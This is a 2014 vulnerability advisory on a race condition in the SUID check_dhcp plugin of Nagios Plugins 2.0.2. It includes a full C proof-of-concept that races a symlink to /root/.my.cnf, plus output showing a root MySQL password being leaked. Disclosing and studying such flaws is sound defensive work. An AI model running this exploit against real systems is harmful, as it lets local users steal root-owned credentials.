1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 |
============================================= - Release date: 28.06.2014 - Discovered by: Dawid Golunski - Severity: Moderate ============================================= I. VULNERABILITY ------------------------- check_dhcp - Nagios Plugins = 2.0.2 Race Condition II. BACKGROUND ------------------------- "Nagios is an open source computer system monitoring, network monitoring and infrastructure monitoring software application. Nagios offers monitoring and alerting services for servers, switches, applications, and services. It alerts the users when things go wrong and alerts them a second time when the problem has been resolved. Nagios Plugins (Official) The Nagios Plugins Development Team maintains a bundle of more than fifty standard plugins for Nagios and other monitoring applications that use the straightforward plugin interface originally invented by the Nagios folks. Each plugin is a stand-alone command line tool that provides a specific type of check. Typically, your monitoring software runs these plugins to determine the current status of hosts and services on your network. Some of the provided plugins let you check local system metrics (such as load averages, processes, or disk space usage), others use various network protocols (such as ICMP, SNMP, or HTTP) to perform remote checks. This allows for checking a large number of common host and service types. * check_dhcp plugin This plugin tests the availability of DHCP servers on a network." III. INTRODUCTION ------------------------- check_dhcp plugin (part of the official Nagios Plugins package) contained a vulnerability that allowed a malicious attacker to read parts of INI config files belonging to root on a local system. It allowed an attacker to obtain sensitive information like passwords that should only be accessible by root user. This vulnerability was discussed in my previous advisory available at: http://legalhackers.com/advisories/nagios-check_dhcp.txt http://www.exploit-db.com/exploits/33387/ The vulnerability was quickly patched by vendor in the release of nagios plugins version 2.0.2 however the security measures in the patch are not sufficient and the code is vulnerable to Race Condition attack. Race Condition makes it possible for an arbitrary user to read parts of a root-owned file despite the checks. IV. DESCRIPTION ------------------------- Nagios Plugins 2.0.2 introduces the following checks before the SUID root check_dhcp program accesses a file provided by a user: -----[ lib/parse_ini.c ]----- /* We must be able to stat() the thing. */ if (lstat(i.file, &fstat) != 0) die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno)); /* The requested file must be a regular file. */ if (!S_ISREG(fstat.st_mode)) die(STATE_UNKNOWN, "%s\n", _("Can't read config file. Requested path is not a regular file.")); /* We must be able to read the requested file. */ if (access(i.file, R_OK|F_OK) != 0) die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno)); /* We need to successfully open the file for reading... */ if ((inifile=fopen(i.file, "r")) == NULL) die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno)); ------------------------------ A configfile will only be opened if it is a regular file (not a symlink) and only if it is readable by the real user running the program (checked with access() call). These checks prevent a user from accessing a file that is not owned by them e.g: $ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf Can't read config file. Permission denied However there's a possibility of a Race Condition here. If an attacker manages to create a symlink leading to /root/.my.cnf in the very short time window that occurs between the regular file/permission checks and the fopen() call then the attacker could still be successful in obtaining the contents of the file. V. PROOF OF CONCEPT ------------------------- Below is an example exploit that demonstrates this attack. -------[ checkdhcp_race_exploit.c ]------- /* check_dhcp 2.0.2 Arbitrary Option File Read - Race Condition Exploit */ /* Created by Dawid Golunski (dawid@legalhackers.com) */ /* http://legalhackers.com */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #define TARGET "/usr/local/nagios/libexec/check_dhcp" #define PROGARGS "--extra-opts=mysql@/tmp/access" #define ROOT_CONFIG"/root/.my.cnf" #define SYMLINK_FILE "/tmp/access" #define MAX_DELAY 1500// adjust if necessary int main(int argc,char **argv) { char *arg[] = {TARGET, PROGARGS, 0}; int randomnum = 0; /* Create empty file , remove if already exists */ unlink(SYMLINK_FILE); open(SYMLINK_FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if(fork() == (pid_t)0){ /* Child Proc */ execvp(TARGET, arg); } else{ /* Parent Proc */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY ); usleep(randomnum); unlink(SYMLINK_FILE); /* Unlink the file */ symlink(ROOT_CONFIG, SYMLINK_FILE);/* Create symlink */ wait(NULL); } return 0; } ------------------------- Here is an example root mysql config file: # cat /root/.my.cnf [mysqldump] quick [mysql] # saved password for the mysql root user password=myRootSecretMysqlPass123 Here is the output of the running exploit: $ while :; do ./checkdhcp_race_exploit; done Invalid section 'mysql' in config file '/tmp/access' Can't read config file. Requested path is not a regular file. Can't read config file. Requested path is not a regular file. Can't read config file. No such file or directory Can't read config file. Requested path is not a regular file. Can't read config file. No such file or directory Can't read config file. No such file or directory Can't read config file. Requested path is not a regular file. Can't read config file. Requested path is not a regular file. Can't read config file. No such file or directory /usr/local/nagios/libexec/check_dhcp: unrecognized option '--password=myRootSecretMysqlPass123' Usage: check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout] [-i interface] [-m mac] Invalid section 'mysql' in config file '/tmp/access' Invalid section 'mysql' in config file '/tmp/access' Invalid section 'mysql' in config file '/tmp/access' As we can see it succeeds after some failed runs. VI. BUSINESS IMPACT ------------------------- Malicious user that has local access to a system where check_dhcp plugin is installed with SUID could exploitthis vulnerability to read any INI format config files owned by root andpotentially extract some sensitive information. VII. SYSTEMS AFFECTED ------------------------- Systems with check_dhcp SUID binary installed as a part of Nagios Plugins 2.0.2 is vulnerable. VIII. SOLUTION ------------------------- Vendor has been informed about the vulnerability prior to the release of this advisory and released another version of nagios plugins available at: <blockquote class="wp-embedded-content" data-secret="RD1Qs1fp00"><a href="https://nagios-plugins.org/nagios-plugins-2-0-3-released/" target="_blank"rel="external nofollow" class="external" >Nagios Plugins 2.0.3 Released</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Nagios Plugins 2.0.3 Released” — Nagios Plugins" src="https://nagios-plugins.org/nagios-plugins-2-0-3-released/embed/#?secret=RD1Qs1fp00" data-secret="RD1Qs1fp00" frameborder="0" marginmarginscrolling="no"></iframe> IX. REFERENCES ------------------------- <blockquote class="wp-embedded-content" data-secret="Svei9ItsD4"><a href="https://nagios-plugins.org/nagios-plugins-2-0-2-released/" target="_blank"rel="external nofollow" class="external" >Nagios Plugins 2.0.2 Released</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Nagios Plugins 2.0.2 Released” — Nagios Plugins" src="https://nagios-plugins.org/nagios-plugins-2-0-2-released/embed/#?secret=Svei9ItsD4" data-secret="Svei9ItsD4" frameborder="0" marginmarginscrolling="no"></iframe> <blockquote class="wp-embedded-content" data-secret="RD1Qs1fp00"><a href="https://nagios-plugins.org/nagios-plugins-2-0-3-released/" target="_blank"rel="external nofollow" class="external" >Nagios Plugins 2.0.3 Released</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Nagios Plugins 2.0.3 Released” — Nagios Plugins" src="https://nagios-plugins.org/nagios-plugins-2-0-3-released/embed/#?secret=RD1Qs1fp00" data-secret="RD1Qs1fp00" frameborder="0" marginmarginscrolling="no"></iframe> http://legalhackers.com/advisories/nagios-check_dhcp.txt http://legalhackers.com/advisories/nagios-check_dhcp-race.txt X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- May26th, 2014:Advisory created June 28th, 2014:Advisory updated and released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. |